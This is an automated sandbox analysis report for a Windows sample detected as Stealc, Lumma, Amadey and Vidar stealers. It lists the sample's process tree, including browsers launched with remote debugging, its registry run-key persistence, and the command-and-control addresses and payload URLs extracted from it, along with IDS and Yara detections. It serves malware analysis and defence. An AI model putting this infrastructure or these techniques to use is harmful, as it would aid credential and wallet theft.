Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1557721
MD5:	65b0d19bd484bb9d3ad808b7c61772df
SHA1:	f2a923204dd0204f49a21f733a2c7cef80b264b9
SHA256:	5f63b56d3a9ec203169d12229c9b50c307dab72b3c9a80660daec1faba3be970
Tags:	exeuser-Bitsight
Infos:

Detection

PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Detected PureCrypter Trojan

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for sample

Monitors registry run keys for changes

PE file contains section with special chars

Potentially malicious time measurement code found

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

PE file overlay found

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Sigma detected: CurrentVersion Autorun Keys Modification

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7112 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 65B0D19BD484BB9D3AD808B7C61772DF)

chrome.exe (PID: 2788 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 6252 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2212 --field-trial-handle=2096,i,1851274958232769042,16841889112243571831,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

msedge.exe (PID: 7920 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8136 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2496 --field-trial-handle=2396,i,8876949000788444266,8259946871136057177,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

cmd.exe (PID: 5492 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsJDGCGHCGHC.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 4660 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DocumentsJDGCGHCGHC.exe (PID: 4648 cmdline: "C:\Users\user\DocumentsJDGCGHCGHC.exe" MD5: 37243D85EDC9216A9E33F76DE6E12F77)

skotes.exe (PID: 7416 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 37243D85EDC9216A9E33F76DE6E12F77)

msedge.exe (PID: 2948 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7776 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2968 --field-trial-handle=2256,i,16371631532054266700,278096499250245289,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 6440 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6548 --field-trial-handle=2256,i,16371631532054266700,278096499250245289,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 716 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6728 --field-trial-handle=2256,i,16371631532054266700,278096499250245289,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8168 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6916 --field-trial-handle=2256,i,16371631532054266700,278096499250245289,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

skotes.exe (PID: 6848 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 37243D85EDC9216A9E33F76DE6E12F77)

skotes.exe (PID: 7816 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 37243D85EDC9216A9E33F76DE6E12F77)

93734d82d0.exe (PID: 5732 cmdline: "C:\Users\user\AppData\Local\Temp\1007170001\93734d82d0.exe" MD5: 7AB5D123F1802A81990DAFB313DE5241)

ec3f41365f.exe (PID: 8164 cmdline: "C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe" MD5: 75624FDEC051244003F909D55591A902)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
PureCrypter	According to zscaler, PureCrypter is a fully-featured loader being sold since at least March 2021The malware has been observed distributing a variety of remote access trojans and information stealersThe loader is a .NET executable obfuscated with SmartAssembly and makes use of compression, encryption and obfuscation to evade antivirus software productsPureCrypter features provide persistence, injection and defense mechanisms that are configurable in Googles Protocol Buffer message format	No Attribution	https://any.run/cybersecurity-blog/pure-malware-family-analysis/ https://blog.netlab.360.com/purecrypter-is-busy-pumping-out-various-malicious-malware-families/ https://blog.sekoia.io/mallox-ransomware-affiliate-leverages-purecrypter-in-microsoft-sql-exploitation-campaigns/ https://www.prodaft.com/m/reports/RIG___TLP_CLEAR-1.pdf https://www.zscaler.com/blogs/security-research/technical-analysis-purecrypter	https://malpedia.caad.fkie.fraunhofer.de/details/win.purecrypter

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Threatname: LummaC

{"C2 url": ["peepburry828.sbs", "3xp3cts1aim.sbs", "p10tgrace.sbs", "processhol.sbs", "p3ar11fter.sbs"], "Build id": "LOGS11--LiveTraffic"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.1971911625.0000000000B31000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000016.00000002.2074973312.0000000000681000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000017.00000002.2095829629.0000000000AA1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001D.00000002.2698341570.0000000000D67000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1971911625.0000000000BFC000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001D.00000002.2698341570.0000000000D06000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000017.00000003.2054722898.0000000004830000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000018.00000003.2091988103.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.1973362137.000000000149C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.1452584570.0000000005120000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001D.00000003.2693125541.0000000000D68000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000016.00000003.1987375902.0000000004ED0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000018.00000002.2132173931.0000000000AA1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001D.00000003.2675831416.0000000000D68000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001A.00000003.2406559808.0000000005290000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001A.00000002.2694222146.0000000000AA1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: file.exe PID: 7112	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 7112	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 7112	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7112	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: ec3f41365f.exe PID: 8164	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: ec3f41365f.exe PID: 8164	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 17 entries

Unpacked PEs

Source	Rule	Description	Author
26.2.skotes.exe.aa0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
22.2.DocumentsJDGCGHCGHC.exe.680000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
23.2.skotes.exe.aa0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
24.2.skotes.exe.aa0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 7816, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ec3f41365f.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 7112, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 2788, ProcessName: chrome.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 7816, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ec3f41365f.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T15:18:27.849045+0100	2028371	3	Unknown Traffic	192.168.2.9	49852	188.114.97.3	443	TCP
2024-11-18T15:18:29.151563+0100	2028371	3	Unknown Traffic	192.168.2.9	49854	188.114.97.3	443	TCP
2024-11-18T15:18:31.017872+0100	2028371	3	Unknown Traffic	192.168.2.9	49856	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T15:18:28.435609+0100	2054653	1	A Network Trojan was detected	192.168.2.9	49852	188.114.97.3	443	TCP
2024-11-18T15:18:29.894151+0100	2054653	1	A Network Trojan was detected	192.168.2.9	49854	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T15:18:28.435609+0100	2049836	1	A Network Trojan was detected	192.168.2.9	49852	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T15:18:29.894151+0100	2049812	1	A Network Trojan was detected	192.168.2.9	49854	188.114.97.3	443	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T15:18:19.790236+0100	2044696	1	A Network Trojan was detected	192.168.2.9	49849	185.215.113.43	80	TCP
2024-11-18T15:18:29.139801+0100	2044696	1	A Network Trojan was detected	192.168.2.9	49853	185.215.113.43	80	TCP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T15:16:32.096435+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.9	49706	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T15:16:32.090173+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.9	49706	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T15:16:32.372605+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.9	49706	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T15:16:33.665742+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.9	49706	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T15:16:32.379713+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.9	49706	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T15:18:31.734242+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.9	49856	188.114.97.3	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T15:16:31.808201+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.9	49706	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T15:18:06.169959+0100	2856147	1	A Network Trojan was detected	192.168.2.9	49845	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T15:18:18.859734+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.9	49846	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T15:18:09.525731+0100	2803305	3	Unknown Traffic	192.168.2.9	49847	31.41.244.11	80	TCP
2024-11-18T15:18:20.717572+0100	2803305	3	Unknown Traffic	192.168.2.9	49850	185.215.113.16	80	TCP
2024-11-18T15:18:31.290550+0100	2803305	3	Unknown Traffic	192.168.2.9	49855	185.215.113.16	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T15:16:34.614004+0100	2803304	3	Unknown Traffic	192.168.2.9	49706	185.215.113.206	80	TCP
2024-11-18T15:16:59.161792+0100	2803304	3	Unknown Traffic	192.168.2.9	49750	185.215.113.206	80	TCP
2024-11-18T15:17:02.608932+0100	2803304	3	Unknown Traffic	192.168.2.9	49750	185.215.113.206	80	TCP
2024-11-18T15:17:04.587773+0100	2803304	3	Unknown Traffic	192.168.2.9	49750	185.215.113.206	80	TCP
2024-11-18T15:17:05.669926+0100	2803304	3	Unknown Traffic	192.168.2.9	49750	185.215.113.206	80	TCP
2024-11-18T15:17:07.946516+0100	2803304	3	Unknown Traffic	192.168.2.9	49750	185.215.113.206	80	TCP
2024-11-18T15:17:08.414641+0100	2803304	3	Unknown Traffic	192.168.2.9	49750	185.215.113.206	80	TCP
2024-11-18T15:17:12.915707+0100	2803304	3	Unknown Traffic	192.168.2.9	49829	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.206/X3&	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/steam/random.exeGFPI	Avira URL Cloud: Label: phishing
Source: http://home.fvtejj5vs.top/rUdtpijYYaAroyCEkvvS1731840403R	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpX#G	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.php01	Avira URL Cloud: Label: malware
Source: http://home.fvtejj5vs.top/rUdtpijYYaAroyCEkvvS17318404033	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpu&	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/softokn3.dll_h	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/steam/random.exe6/steam/random.exe2001	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/steam/random.exe61395	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/luma/random.exelL	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/steam/random.exeuFbI	Avira URL Cloud: Label: phishing
Source: http://31.41.244.11/files/random.exe	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/steam/random.exe1395d7	Avira URL Cloud: Label: phishing
Source: http://185.215.113.43/Zu7JuNko/index.phpS	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/steam/random.exeAFVI	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/steam/random.exe61395d;	Avira URL Cloud: Label: phishing

Found malware configuration

Source: 00000017.00000002.2095829629.0000000000AA1000.00000040.00000001.01000000.0000000E.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: file.exe.7112.0.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}
Source: ec3f41365f.exe.8164.29.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["peepburry828.sbs", "3xp3cts1aim.sbs", "p10tgrace.sbs", "processhol.sbs", "p3ar11fter.sbs"], "Build id": "LOGS11--LiveTraffic"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\HI1BCF07\random[1].exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\random[1].exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Temp\1007170001\93734d82d0.exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	ReversingLabs: Detection: 44%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 39%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CB46C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,

0_2_6CB46C80

Source: 93734d82d0.exe, 0000001C.00000002.2694177542.0000000000A2A000.00000040.00000001.01000000.0000000F.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_f21b347c-a

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 23.206.229.209:443 -> 192.168.2.9:49835 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.9:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.9:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.9:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.159.0:443 -> 192.168.2.9:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.159.0:443 -> 192.168.2.9:49774 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.9:49837 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.9:49852 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.9:49854 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.9:49856 version: TLS 1.2

